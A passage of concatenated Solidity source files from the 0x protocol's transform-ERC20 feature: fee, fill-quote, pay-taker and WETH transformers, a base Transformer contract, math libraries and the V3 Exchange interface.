pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "./Transformer.sol";
import "./LibERC20Transformer.sol";
/// @dev A transformer that transfers tokens to arbitrary addresses.
contract AffiliateFeeTransformer is
Transformer
{
// solhint-disable no-empty-blocks
using LibRichErrorsV06 for bytes;
using LibSafeMathV06 for uint256;
using LibERC20Transformer for IERC20TokenV06;
/// @dev Information for a single fee.
struct TokenFee {
// The token to transfer to `recipient`.
IERC20TokenV06 token;
// Amount of each `token` to transfer to `recipient`.
// If `amount == uint256(-1)`, the entire balance of `token` will be
// transferred.
uint256 amount;
// Recipient of `token`.
address payable recipient;
}
uint256 private constant MAX_UINT256 = uint256(-1);
/// @dev Create this contract.
constructor()
public
Transformer()
{}
/// @dev Transfers tokens to recipients.
/// @param data ABI-encoded `TokenFee[]`, indicating which tokens to transfer.
/// @return success The success bytes (`LibERC20Transformer.TRANSFORMER_SUCCESS`).
function transform(
bytes32, // callDataHash,
address payable, // taker,
bytes calldata data
)
external
override
returns (bytes4 success)
{
TokenFee[] memory fees = abi.decode(data, (TokenFee[]));
// Transfer tokens to recipients.
for (uint256 i = 0; i < fees.length; ++i) {
uint256 amount = fees[i].amount;
if (amount == MAX_UINT256) {
amount = LibERC20Transformer.getTokenBalanceOf(fees[i].token, address(this));
}
if (amount != 0) {
fees[i].token.transformerTransfer(fees[i].recipient, amount);
}
}
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "./IERC20Transformer.sol";
/// @dev Abstract base class for transformers.
abstract contract Transformer is
IERC20Transformer
{
using LibRichErrorsV06 for bytes;
/// @dev The address of the deployer.
address public immutable deployer;
/// @dev The original address of this contract.
address private immutable _implementation;
/// @dev Create this contract.
constructor() public {
deployer = msg.sender;
_implementation = address(this);
}
/// @dev Destruct this contract. Only callable by the deployer and will not
/// succeed in the context of a delegatecall (from another contract).
/// @param ethRecipient The recipient of ETH held in this contract.
function die(address payable ethRecipient)
external
virtual
{
// Only the deployer can call this.
if (msg.sender != deployer) {
LibTransformERC20RichErrors
.OnlyCallableByDeployerError(msg.sender, deployer)
.rrevert();
}
// Must be executing our own context.
if (address(this) != _implementation) {
LibTransformERC20RichErrors
.InvalidExecutionContextError(address(this), _implementation)
.rrevert();
}
selfdestruct(ethRecipient);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibBytesV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibMathV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "../vendor/v3/IExchange.sol";
import "./Transformer.sol";
import "./LibERC20Transformer.sol";
/// @dev A transformer that fills an ERC20 market sell/buy quote.
contract FillQuoteTransformer is
Transformer
{
using LibERC20TokenV06 for IERC20TokenV06;
using LibERC20Transformer for IERC20TokenV06;
using LibSafeMathV06 for uint256;
using LibRichErrorsV06 for bytes;
/// @dev Whether we are performing a market sell or buy.
enum Side {
Sell,
Buy
}
/// @dev Transform data to ABI-encode and pass into `transform()`.
struct TransformData {
// Whether we aer performing a market sell or buy.
Side side;
// The token being sold.
// This should be an actual token, not the ETH pseudo-token.
IERC20TokenV06 sellToken;
// The token being bought.
// This should be an actual token, not the ETH pseudo-token.
IERC20TokenV06 buyToken;
// The orders to fill.
IExchange.Order[] orders;
// Signatures for each respective order in `orders`.
bytes[] signatures;
// Maximum fill amount for each order. This may be shorter than the
// number of orders, where missing entries will be treated as `uint256(-1)`.
// For sells, this will be the maximum sell amount (taker asset).
// For buys, this will be the maximum buy amount (maker asset).
uint256[] maxOrderFillAmounts;
// Amount of `sellToken` to sell or `buyToken` to buy.
// For sells, this may be `uint256(-1)` to sell the entire balance of
// `sellToken`.
uint256 fillAmount;
}
/// @dev Results of a call to `_fillOrder()`.
struct FillOrderResults {
// The amount of taker tokens sold, according to balance checks.
uint256 takerTokenSoldAmount;
// The amount of maker tokens sold, according to balance checks.
uint256 makerTokenBoughtAmount;
// The amount of protocol fee paid.
uint256 protocolFeePaid;
}
/// @dev The Exchange ERC20Proxy ID.
bytes4 private constant ERC20_ASSET_PROXY_ID = 0xf47261b0;
/// @dev Maximum uint256 value.
uint256 private constant MAX_UINT256 = uint256(-1);
/// @dev The Exchange contract.
IExchange public immutable exchange;
/// @dev The ERC20Proxy address.
address public immutable erc20Proxy;
/// @dev Create this contract.
/// @param exchange_ The Exchange V3 instance.
constructor(IExchange exchange_)
public
Transformer()
{
exchange = exchange_;
erc20Proxy = exchange_.getAssetProxy(ERC20_ASSET_PROXY_ID);
}
/// @dev Sell this contract's entire balance of of `sellToken` in exchange
/// for `buyToken` by filling `orders`. Protocol fees should be attached
/// to this call. `buyToken` and excess ETH will be transferred back to the caller.
/// @param data_ ABI-encoded `TransformData`.
/// @return success The success bytes (`LibERC20Transformer.TRANSFORMER_SUCCESS`).
function transform(
bytes32, // callDataHash,
address payable, // taker,
bytes calldata data_
)
external
override
returns (bytes4 success)
{
TransformData memory data = abi.decode(data_, (TransformData));
// Validate data fields.
if (data.sellToken.isTokenETH() || data.buyToken.isTokenETH()) {
LibTransformERC20RichErrors.InvalidTransformDataError(
LibTransformERC20RichErrors.InvalidTransformDataErrorCode.INVALID_TOKENS,
data_
).rrevert();
}
if (data.orders.length != data.signatures.length) {
LibTransformERC20RichErrors.InvalidTransformDataError(
LibTransformERC20RichErrors.InvalidTransformDataErrorCode.INVALID_ARRAY_LENGTH,
data_
).rrevert();
}
if (data.side == Side.Sell && data.fillAmount == MAX_UINT256) {
// If `sellAmount == -1 then we are selling
// the entire balance of `sellToken`. This is useful in cases where
// the exact sell amount is not exactly known in advance, like when
// unwrapping Chai/cUSDC/cDAI.
data.fillAmount = data.sellToken.getTokenBalanceOf(address(this));
}
// Approve the ERC20 proxy to spend `sellToken`.
data.sellToken.approveIfBelow(erc20Proxy, data.fillAmount);
// Fill the orders.
uint256 singleProtocolFee = exchange.protocolFeeMultiplier().safeMul(tx.gasprice);
uint256 ethRemaining = address(this).balance;
uint256 boughtAmount = 0;
uint256 soldAmount = 0;
for (uint256 i = 0; i < data.orders.length; ++i) {
// Check if we've hit our targets.
if (data.side == Side.Sell) {
// Market sell check.
if (soldAmount >= data.fillAmount) {
break;
}
} else {
// Market buy check.
if (boughtAmount >= data.fillAmount) {
break;
}
}
// Ensure we have enough ETH to cover the protocol fee.
if (ethRemaining < singleProtocolFee) {
LibTransformERC20RichErrors
.InsufficientProtocolFeeError(ethRemaining, singleProtocolFee)
.rrevert();
}
// Fill the order.
FillOrderResults memory results;
if (data.side == Side.Sell) {
// Market sell.
results = _sellToOrder(
data.buyToken,
data.sellToken,
data.orders[i],
data.signatures[i],
data.fillAmount.safeSub(soldAmount).min256(
data.maxOrderFillAmounts.length > i
? data.maxOrderFillAmounts[i]
: MAX_UINT256
),
singleProtocolFee
);
} else {
// Market buy.
results = _buyFromOrder(
data.buyToken,
data.sellToken,
data.orders[i],
data.signatures[i],
data.fillAmount.safeSub(boughtAmount).min256(
data.maxOrderFillAmounts.length > i
? data.maxOrderFillAmounts[i]
: MAX_UINT256
),
singleProtocolFee
);
}
// Accumulate totals.
soldAmount = soldAmount.safeAdd(results.takerTokenSoldAmount);
boughtAmount = boughtAmount.safeAdd(results.makerTokenBoughtAmount);
ethRemaining = ethRemaining.safeSub(results.protocolFeePaid);
}
// Ensure we hit our targets.
if (data.side == Side.Sell) {
// Market sell check.
if (soldAmount < data.fillAmount) {
LibTransformERC20RichErrors
.IncompleteFillSellQuoteError(
address(data.sellToken),
soldAmount,
data.fillAmount
).rrevert();
}
} else {
// Market buy check.
if (boughtAmount < data.fillAmount) {
LibTransformERC20RichErrors
.IncompleteFillBuyQuoteError(
address(data.buyToken),
boughtAmount,
data.fillAmount
).rrevert();
}
}
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
/// @dev Try to sell up to `sellAmount` from an order.
/// @param makerToken The maker/buy token.
/// @param takerToken The taker/sell token.
/// @param order The order to fill.
/// @param signature The signature for `order`.
/// @param sellAmount Amount of taker token to sell.
/// @param protocolFee The protocol fee needed to fill `order`.
function _sellToOrder(
IERC20TokenV06 makerToken,
IERC20TokenV06 takerToken,
IExchange.Order memory order,
bytes memory signature,
uint256 sellAmount,
uint256 protocolFee
)
private
returns (FillOrderResults memory results)
{
IERC20TokenV06 takerFeeToken =
_getTokenFromERC20AssetData(order.takerFeeAssetData);
uint256 takerTokenFillAmount = sellAmount;
if (order.takerFee != 0) {
if (takerFeeToken == makerToken) {
// Taker fee is payable in the maker token, so we need to
// approve the proxy to spend the maker token.
// It isn't worth computing the actual taker fee
// since `approveIfBelow()` will set the allowance to infinite. We
// just need a reasonable upper bound to avoid unnecessarily re-approving.
takerFeeToken.approveIfBelow(erc20Proxy, order.takerFee);
} else if (takerFeeToken == takerToken){
// Taker fee is payable in the taker token, so we need to
// reduce the fill amount to cover the fee.
// takerTokenFillAmount' =
// (takerTokenFillAmount * order.takerAssetAmount) /
// (order.takerAssetAmount + order.takerFee)
takerTokenFillAmount = LibMathV06.getPartialAmountCeil(
order.takerAssetAmount,
order.takerAssetAmount.safeAdd(order.takerFee),
sellAmount
);
} else {
// Only support taker or maker asset denominated taker fees.
LibTransformERC20RichErrors.InvalidTakerFeeTokenError(
address(takerFeeToken)
).rrevert();
}
}
// Clamp fill amount to order size.
takerTokenFillAmount = LibSafeMathV06.min256(
takerTokenFillAmount,
order.takerAssetAmount
);
// Perform the fill.
return _fillOrder(
order,
signature,
takerTokenFillAmount,
protocolFee,
makerToken,
takerFeeToken == takerToken
);
}
/// @dev Try to buy up to `buyAmount` from an order.
/// @param makerToken The maker/buy token.
/// @param takerToken The taker/sell token.
/// @param order The order to fill.
/// @param signature The signature for `order`.
/// @param buyAmount Amount of maker token to buy.
/// @param protocolFee The protocol fee needed to fill `order`.
function _buyFromOrder(
IERC20TokenV06 makerToken,
IERC20TokenV06 takerToken,
IExchange.Order memory order,
bytes memory signature,
uint256 buyAmount,
uint256 protocolFee
)
private
returns (FillOrderResults memory results)
{
IERC20TokenV06 takerFeeToken =
_getTokenFromERC20AssetData(order.takerFeeAssetData);
// Compute the default taker token fill amount.
uint256 takerTokenFillAmount = LibMathV06.getPartialAmountCeil(
buyAmount,
order.makerAssetAmount,
order.takerAssetAmount
);
if (order.takerFee != 0) {
if (takerFeeToken == makerToken) {
// Taker fee is payable in the maker token.
// Adjust the taker token fill amount to account for maker
// tokens being lost to the taker fee.
// takerTokenFillAmount' =
// (order.takerAssetAmount * buyAmount) /
// (order.makerAssetAmount - order.takerFee)
takerTokenFillAmount = LibMathV06.getPartialAmountCeil(
buyAmount,
order.makerAssetAmount.safeSub(order.takerFee),
order.takerAssetAmount
);
// Approve the proxy to spend the maker token.
// It isn't worth computing the actual taker fee
// since `approveIfBelow()` will set the allowance to infinite. We
// just need a reasonable upper bound to avoid unnecessarily re-approving.
takerFeeToken.approveIfBelow(erc20Proxy, order.takerFee);
} else if (takerFeeToken != takerToken) {
// Only support taker or maker asset denominated taker fees.
LibTransformERC20RichErrors.InvalidTakerFeeTokenError(
address(takerFeeToken)
).rrevert();
}
}
// Clamp to order size.
takerTokenFillAmount = LibSafeMathV06.min256(
order.takerAssetAmount,
takerTokenFillAmount
);
// Perform the fill.
return _fillOrder(
order,
signature,
takerTokenFillAmount,
protocolFee,
makerToken,
takerFeeToken == takerToken
);
}
/// @dev Attempt to fill an order. If the fill reverts, the revert will be
/// swallowed and `results` will be zeroed out.
/// @param order The order to fill.
/// @param signature The order signature.
/// @param takerAssetFillAmount How much taker asset to fill.
/// @param protocolFee The protocol fee needed to fill this order.
/// @param makerToken The maker token.
/// @param isTakerFeeInTakerToken Whether the taker fee token is the same as the
/// taker token.
function _fillOrder(
IExchange.Order memory order,
bytes memory signature,
uint256 takerAssetFillAmount,
uint256 protocolFee,
IERC20TokenV06 makerToken,
bool isTakerFeeInTakerToken
)
private
returns (FillOrderResults memory results)
{
// Track changes in the maker token balance.
uint256 initialMakerTokenBalance = makerToken.balanceOf(address(this));
try
exchange.fillOrder
{value: protocolFee}
(order, takerAssetFillAmount, signature)
returns (IExchange.FillResults memory fillResults)
{
// Update maker quantity based on changes in token balances.
results.makerTokenBoughtAmount = makerToken.balanceOf(address(this))
.safeSub(initialMakerTokenBalance);
// We can trust the other fill result quantities.
results.protocolFeePaid = fillResults.protocolFeePaid;
results.takerTokenSoldAmount = fillResults.takerAssetFilledAmount;
// If the taker fee is payable in the taker asset, include the
// taker fee in the total amount sold.
if (isTakerFeeInTakerToken) {
results.takerTokenSoldAmount =
results.takerTokenSoldAmount.safeAdd(fillResults.takerFeePaid);
}
} catch (bytes memory) {
// Swallow failures, leaving all results as zero.
}
}
/// @dev Extract the token from plain ERC20 asset data.
/// If the asset-data is empty, a zero token address will be returned.
/// @param assetData The order asset data.
function _getTokenFromERC20AssetData(bytes memory assetData)
private
pure
returns (IERC20TokenV06 token)
{
if (assetData.length == 0) {
return IERC20TokenV06(address(0));
}
if (assetData.length != 36 ||
LibBytesV06.readBytes4(assetData, 0) != ERC20_ASSET_PROXY_ID)
{
LibTransformERC20RichErrors
.InvalidERC20AssetDataError(assetData)
.rrevert();
}
return IERC20TokenV06(LibBytesV06.readAddress(assetData, 16));
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./LibSafeMathV06.sol";
import "./errors/LibRichErrorsV06.sol";
import "./errors/LibMathRichErrorsV06.sol";
library LibMathV06 {
using LibSafeMathV06 for uint256;
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return partialAmount Partial value of target rounded down.
function safeGetPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorFloor(
numerator,
denominator,
target
)) {
LibRichErrorsV06.rrevert(LibMathRichErrorsV06.RoundingError(
numerator,
denominator,
target
));
}
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return partialAmount Partial value of target rounded up.
function safeGetPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorCeil(
numerator,
denominator,
target
)) {
LibRichErrorsV06.rrevert(LibMathRichErrorsV06.RoundingError(
numerator,
denominator,
target
));
}
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return partialAmount Partial value of target rounded down.
function getPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return partialAmount Partial value of target rounded up.
function getPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Checks if rounding error >= 0.1% when rounding down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return isError Rounding error is present.
function isRoundingErrorFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrorsV06.rrevert(LibMathRichErrorsV06.DivisionByZeroError());
}
// The absolute rounding error is the difference between the rounded
// value and the ideal value. The relative rounding error is the
// absolute rounding error divided by the absolute value of the
// ideal value. This is undefined when the ideal value is zero.
//
// The ideal value is `numerator * target / denominator`.
// Let's call `numerator * target % denominator` the remainder.
// The absolute error is `remainder / denominator`.
//
// When the ideal value is zero, we require the absolute error to
// be zero. Fortunately, this is always the case. The ideal value is
// zero iff `numerator == 0` and/or `target == 0`. In this case the
// remainder and absolute error are also zero.
if (target == 0 || numerator == 0) {
return false;
}
// Otherwise, we want the relative rounding error to be strictly
// less than 0.1%.
// The relative error is `remainder / (numerator * target)`.
// We want the relative error less than 1 / 1000:
// remainder / (numerator * denominator) < 1 / 1000
// or equivalently:
// 1000 * remainder < numerator * target
// so we have a rounding error iff:
// 1000 * remainder >= numerator * target
uint256 remainder = mulmod(
target,
numerator,
denominator
);
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
/// @dev Checks if rounding error >= 0.1% when rounding up.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return isError Rounding error is present.
function isRoundingErrorCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrorsV06.rrevert(LibMathRichErrorsV06.DivisionByZeroError());
}
// See the comments in `isRoundingError`.
if (target == 0 || numerator == 0) {
// When either is zero, the ideal value and rounded value are zero
// and there is no rounding error. (Although the relative error
// is undefined.)
return false;
}
// Compute remainder as before
uint256 remainder = mulmod(
target,
numerator,
denominator
);
remainder = denominator.safeSub(remainder) % denominator;
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibMathRichErrorsV06 {
// bytes4(keccak256("DivisionByZeroError()"))
bytes internal constant DIVISION_BY_ZERO_ERROR =
hex"a791837c";
// bytes4(keccak256("RoundingError(uint256,uint256,uint256)"))
bytes4 internal constant ROUNDING_ERROR_SELECTOR =
0x339f3de2;
// solhint-disable func-name-mixedcase
function DivisionByZeroError()
internal
pure
returns (bytes memory)
{
return DIVISION_BY_ZERO_ERROR;
}
function RoundingError(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ROUNDING_ERROR_SELECTOR,
numerator,
denominator,
target
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @dev Interface to the V3 Exchange.
interface IExchange {
/// @dev V3 Order structure.
struct Order {
// Address that created the order.
address makerAddress;
// Address that is allowed to fill the order.
// If set to 0, any address is allowed to fill the order.
address takerAddress;
// Address that will recieve fees when order is filled.
address feeRecipientAddress;
// Address that is allowed to call Exchange contract methods that affect this order.
// If set to 0, any address is allowed to call these methods.
address senderAddress;
// Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 makerAssetAmount;
// Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 takerAssetAmount;
// Fee paid to feeRecipient by maker when order is filled.
uint256 makerFee;
// Fee paid to feeRecipient by taker when order is filled.
uint256 takerFee;
// Timestamp in seconds at which order expires.
uint256 expirationTimeSeconds;
// Arbitrary number to facilitate uniqueness of the order's hash.
uint256 salt;
// Encoded data that can be decoded by a specified proxy contract when transferring makerAsset.
// The leading bytes4 references the id of the asset proxy.
bytes makerAssetData;
// Encoded data that can be decoded by a specified proxy contract when transferring takerAsset.
// The leading bytes4 references the id of the asset proxy.
bytes takerAssetData;
// Encoded data that can be decoded by a specified proxy contract when transferring makerFeeAsset.
// The leading bytes4 references the id of the asset proxy.
bytes makerFeeAssetData;
// Encoded data that can be decoded by a specified proxy contract when transferring takerFeeAsset.
// The leading bytes4 references the id of the asset proxy.
bytes takerFeeAssetData;
}
/// @dev V3 `fillOrder()` results.`
struct FillResults {
// Total amount of makerAsset(s) filled.
uint256 makerAssetFilledAmount;
// Total amount of takerAsset(s) filled.
uint256 takerAssetFilledAmount;
// Total amount of fees paid by maker(s) to feeRecipient(s).
uint256 makerFeePaid;
// Total amount of fees paid by taker to feeRecipients(s).
uint256 takerFeePaid;
// Total amount of fees paid by taker to the staking contract.
uint256 protocolFeePaid;
}
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return fillResults Amounts filled and fees paid by maker and taker.
function fillOrder(
Order calldata order,
uint256 takerAssetFillAmount,
bytes calldata signature
)
external
payable
returns (FillResults memory fillResults);
/// @dev Returns the protocolFeeMultiplier
/// @return multiplier The multiplier for protocol fees.
function protocolFeeMultiplier()
external
view
returns (uint256 multiplier);
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return proxyAddress The asset proxy registered to assetProxyId.
/// Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address proxyAddress);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "./Transformer.sol";
import "./LibERC20Transformer.sol";
/// @dev A transformer that transfers tokens to the taker.
contract PayTakerTransformer is
Transformer
{
// solhint-disable no-empty-blocks
using LibRichErrorsV06 for bytes;
using LibSafeMathV06 for uint256;
using LibERC20Transformer for IERC20TokenV06;
/// @dev Transform data to ABI-encode and pass into `transform()`.
struct TransformData {
// The tokens to transfer to the taker.
IERC20TokenV06[] tokens;
// Amount of each token in `tokens` to transfer to the taker.
// `uint(-1)` will transfer the entire balance.
uint256[] amounts;
}
/// @dev Maximum uint256 value.
uint256 private constant MAX_UINT256 = uint256(-1);
/// @dev Create this contract.
constructor()
public
Transformer()
{}
/// @dev Forwards tokens to the taker.
/// @param taker The taker address (caller of `TransformERC20.transformERC20()`).
/// @param data_ ABI-encoded `TransformData`, indicating which tokens to transfer.
/// @return success The success bytes (`LibERC20Transformer.TRANSFORMER_SUCCESS`).
function transform(
bytes32, // callDataHash,
address payable taker,
bytes calldata data_
)
external
override
returns (bytes4 success)
{
TransformData memory data = abi.decode(data_, (TransformData));
// Transfer tokens directly to the taker.
for (uint256 i = 0; i < data.tokens.length; ++i) {
// The `amounts` array can be shorter than the `tokens` array.
// Missing elements are treated as `uint256(-1)`.
uint256 amount = data.amounts.length > i ? data.amounts[i] : uint256(-1);
if (amount == MAX_UINT256) {
amount = data.tokens[i].getTokenBalanceOf(address(this));
}
if (amount != 0) {
data.tokens[i].transformerTransfer(taker, amount);
}
}
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IEtherTokenV06.sol";
import "../errors/LibTransformERC20RichErrors.sol";
import "./Transformer.sol";
import "./LibERC20Transformer.sol";
/// @dev A transformer that wraps or unwraps WETH.
contract WethTransformer is
Transformer
{
using LibRichErrorsV06 for bytes;
using LibSafeMathV06 for uint256;
using LibERC20Transformer for IERC20TokenV06;
/// @dev Transform data to ABI-encode and pass into `transform()`.
struct TransformData {
// The token to wrap/unwrap. Must be either ETH or WETH.
IERC20TokenV06 token;
// Amount of `token` to wrap or unwrap.
// `uint(-1)` will unwrap the entire balance.
uint256 amount;
}
/// @dev The WETH contract address.
IEtherTokenV06 public immutable weth;
/// @dev Maximum uint256 value.
uint256 private constant MAX_UINT256 = uint256(-1);
/// @dev Construct the transformer and store the WETH address in an immutable.
/// @param weth_ The weth token.
constructor(IEtherTokenV06 weth_)
public
Transformer()
{
weth = weth_;
}
/// @dev Wraps and unwraps WETH.
/// @param data_ ABI-encoded `TransformData`, indicating which token to wrap/umwrap.
/// @return success The success bytes (`LibERC20Transformer.TRANSFORMER_SUCCESS`).
function transform(
bytes32, // callDataHash,
address payable, // taker,
bytes calldata data_
)
external
override
returns (bytes4 success)
{
TransformData memory data = abi.decode(data_, (TransformData));
if (!data.token.isTokenETH() && data.token != weth) {
LibTransformERC20RichErrors.InvalidTransformDataError(
LibTransformERC20RichErrors.InvalidTransformDataErrorCode.INVALID_TOKENS,
data_
).rrevert();
}
uint256 amount = data.amount;
if (amount == MAX_UINT256) {
amount = data.token.getTokenBalanceOf(address(this));
}
if (amount != 0) {
if (data.token.isTokenETH()) {
// Wrap ETH.
weth.deposit{value: amount}();
} else {
// Unwrap WETH.
weth.withdraw(amount);
}
}
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./IERC20TokenV06.sol";
interface IEtherTokenV06 is
IERC20TokenV06
{
/// @dev Wrap ether.
function deposit() external payable;
/// @dev Unwrap ether.
function withdraw(uint256 amount) external;
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
